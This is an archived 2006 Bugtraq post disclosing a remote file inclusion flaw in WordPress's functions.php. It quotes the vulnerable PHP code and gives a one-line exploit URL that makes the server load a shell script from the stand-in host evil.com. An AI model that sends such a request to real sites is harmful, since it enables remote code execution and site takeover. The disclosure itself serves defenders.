Bugtraq mailing list archives
Wordpress File Inclusion
From: vannovax () gmail com
Date: 11 Nov 2006 02:18:35 -0000
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ WordPress Remote File Inclusion Download:http://wordpress.org/latest.zip Found by _ANtrAX_ http://foro.c-group.org ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerable Code: { global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query, $wp_rewrite, $wpdb; extract($wp_query->query_vars); require_once($file); } ..... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Affected File: /wp-includes/functions.php =] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability: www.site.com/wp-includes/functions.php?file=http://evil.com/shell.txt? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greetz:V4MP1R3Z4, FRE4K , PENNISSMEN ,EL GROXO , DEYABU ROOLZ , MATASANOS,C-GROUP STAFF . CHAPINHACK, SysRoot ¬¬
Current thread:
- Wordpress File Inclusion vannovax (Nov 13)
- Re: Wordpress File Inclusion Expanders (Nov 13)
- <Possible follow-ups>
- Re: Wordpress File Inclusion emc3 (Nov 13)